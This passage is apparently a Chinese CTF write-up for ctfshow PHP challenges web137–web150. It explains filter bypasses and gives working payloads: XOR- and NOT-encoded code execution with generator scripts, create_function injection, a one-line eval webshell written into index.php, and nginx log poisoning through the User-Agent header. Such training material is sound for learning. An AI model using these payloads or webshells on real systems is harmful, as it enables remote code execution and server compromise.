echo file_get_contents("flag.php");
}
}
}
}
preg_match('/^[a-z0-9]+$/', $f1)
这是一个正则表达式的匹配模式,用于检查变量 $f1 是否只包含小写字母和数字,并且不包含其他字符。
解析该正则表达式的含义如下:
^ 表示匹配字符串的开头。
[a-z0-9] 表示匹配小写字母(a-z)和数字(0-9)之间的任意一个字符。
+ 表示前面的字符可以重复一次或多次。
$ 表示匹配字符串的结尾。
可以看到0和字符串进行弱比较的时候返回的是true,因为==在进行比较的时候,会先将字符串类型转化成相同,再比较,而ctfshow是一个字符串,和0相比较的时候要转换成数字,ctfshow转换成数字的时候是0,所以相等返回true
而intval()函数会将非数字或非数字字符串转换为0
payload:
f1=md5&f2=phpinfo //md5(phpinfo())
f1=md5&f2=sleep //md5(sleep())
f1=md5&f2=md5 //md5(md5())
f1=current&f2=localeconv //current(localeconv())
f1=sha1&f2=getcwd //sha1(getcwd())
f1=usleep&f2=usleep //usleep(usleep())
web141
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
preg_match('/^\W+$/', $v3)
这是一个正则表达式的匹配模式,用于检查变量 $v3 是否只包含非单词字符(即除了字母、数字和下划线之外的字符),并且不包含任何其他字符。
^ 表示匹配字符串的开头。
\W 表示匹配任何非单词字符。
+ 表示前面的字符可以重复一次或多次。
$ 表示匹配字符串的结尾。
分析源代码,这里用了正则表达式/^\W+$/,把数字和字母还有下划线给ban了,之前无字母数字的webshell我们用了或运算,这次用异或来吧(或运算,异或,取反等等都可以),python脚本如下
# -- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/10 12:56
# blog: www.wlhhlc.top
import requests
import urllib
import re
# 生成可用的字符
def write_rce():
result = ''
preg = '[a-zA-Z0-9]'
for i in range(256):
for j in range(256):
if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
k = i ^ j
if k >= 32 and k <= 126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
result += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('xor_rce.txt', 'w')
f.write(result)
# 根据输入的命令在生成的txt中进行匹配
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return (output)
def main():
write_rce()
while True:
s1 = input("\n[+] your function:")
if s1 == "exit":
break
s2 = input("[+] your command:")
param = action(s1) + action(s2)
print("\n[*] result:\n" + param)
main()
然后v1和v2就随意填,v3填构造出的payload即可,但注意的是这里有个return干扰,所以我们要在v3的payload前边和后面加上一些字符就可以执行命令,例如+ - * 等等
查看当前目录下文件
?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");
看到flag.php,再生成一次payload
?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b")
web142
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}
is_numeric()函数匹配为数字或者数字字符串的话会返回true,所以我们只需要输入数字就可以,但下面有个sleep休眠
0x36d为877$v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d
就算
=0,那休眠为0(6岁孩子都会做)$v1
`为1,这个休眠的时间也是相当长了,但如果
`$v1
payload:
?v1=0
web143
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
在web141的基础上多ban掉一些字符,ban了取反,但没ban异或需要的^,所以还是可以用web141的脚本,不过需要改一下正则
# -- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/10 12:56
# blog: www.wlhhlc.top
import requests
import urllib
import re
# 生成可用的字符
def write_rce():
result = ''
preg = '[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;'
for i in range(256):
for j in range(256):
if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
k = i ^ j
if k >= 32 and k <= 126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
result += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('xor_rce.txt', 'w')
f.write(result)
# 根据输入的命令在生成的txt中进行匹配
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return (output)
def main():
write_rce()
while True:
s1 = input("\n[+] your function:")
if s1 == "exit":
break
s2 = input("[+] your command:")
param = action(s1) + action(s2)
print("\n[*] result:\n" + param)
main()
记住,v3这里需要前后加上符号摆脱掉return
payload:
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*
web144
和web141一样,这是参数需要改一下,因为这里有个check函数对v3做检测,我们把payload改到v2即可,运行web141的脚本就行
payload:
?v1=1&v3=1&v2=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");
web145&web146
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
在前面基础上ban了异或,但放行了~取反运算符,但之前v3需要* ; + - 等等符号来拜托return,但都被ban了,测试了一下发现|可以使用
取反脚本:
<?php
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
payload:
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
web137
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
这里我们可以使用create_function()代码注入
create_function('$dotast','echo $dotast."very cool"')
//等于
function f($dotast){
echo $dotast."very cool";
}
/*利用如下
如果我们第二个参数输入的是'echo 111;}phpinfo();//'
即可把前面的方法括号给闭合并且成功执行phpinfo命令,后面用//注释掉后边的语句
也就是下面这个结构
*/
function f($dotast){
echo 111;
}
phpinfo();//}
而正则表达式我们可以用\进行绕过
正好\在php里代表默认命名空间
php里默认命名空间是\,所有原生函数和类都在这个命名空间
中。 普通调用一个函数,如果直接写函数名function_name()
调用,调用的时候其实相当于写了一个相对路径; 而如果是
\function_name()这样的形式去调用函数,则是表示写了一个
绝对路径。 如果你在其他namespace里调用系统类,必须使用绝
对路径的写法
payload:
?show=echo 123;}system("tac flag.php");//
post:
ctf=\create_function
web148
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}
没ban掉异或字符^,改一下正则
用前面的脚本跑就好了preg = '[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+'
payload:
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");
web149
<?php
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
这里用file_put_contents函数写入文件,并且会有两个for循环判断不是index.php的文件会被删除,所以我们直接把一句话木马写进index.php就可以
paylaod:
?ctf=index.php
post:
show=<?php @eval($_POST[dotast]);?>
url+index.php
post:
dotast=system("cat /ctfshow_fl0g_here.txt");
web150
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}
这里我用的日志包含绕过,应该也是非预期解,和前面写过的日志包含差不多,这里要想包含需要$isvip变量为true或者1,这里有QUERY_STRING和extract函数,所以我们可以直接通过get传参来定义(忘记这个知识点的往上看web127),然后再User-Agent里写上一句话利用,这里写了脚本进行利用
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/3/7 11:50
# blog: www.wlhhlc.top
import requests
url = "http://8f8944fd-933a-46d1-aa43-909f77c0d5dc.challenge.ctf.show/" + "?isVIP=1"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0<?php @eval($_POST[dotast]);?>'
}
data = {
'ctf': '/var/log/nginx/access.log',
'dotast':'system("cat flag.php");'
}
result = requests.post(url=url, headers=headers, data=data)
print(result.text)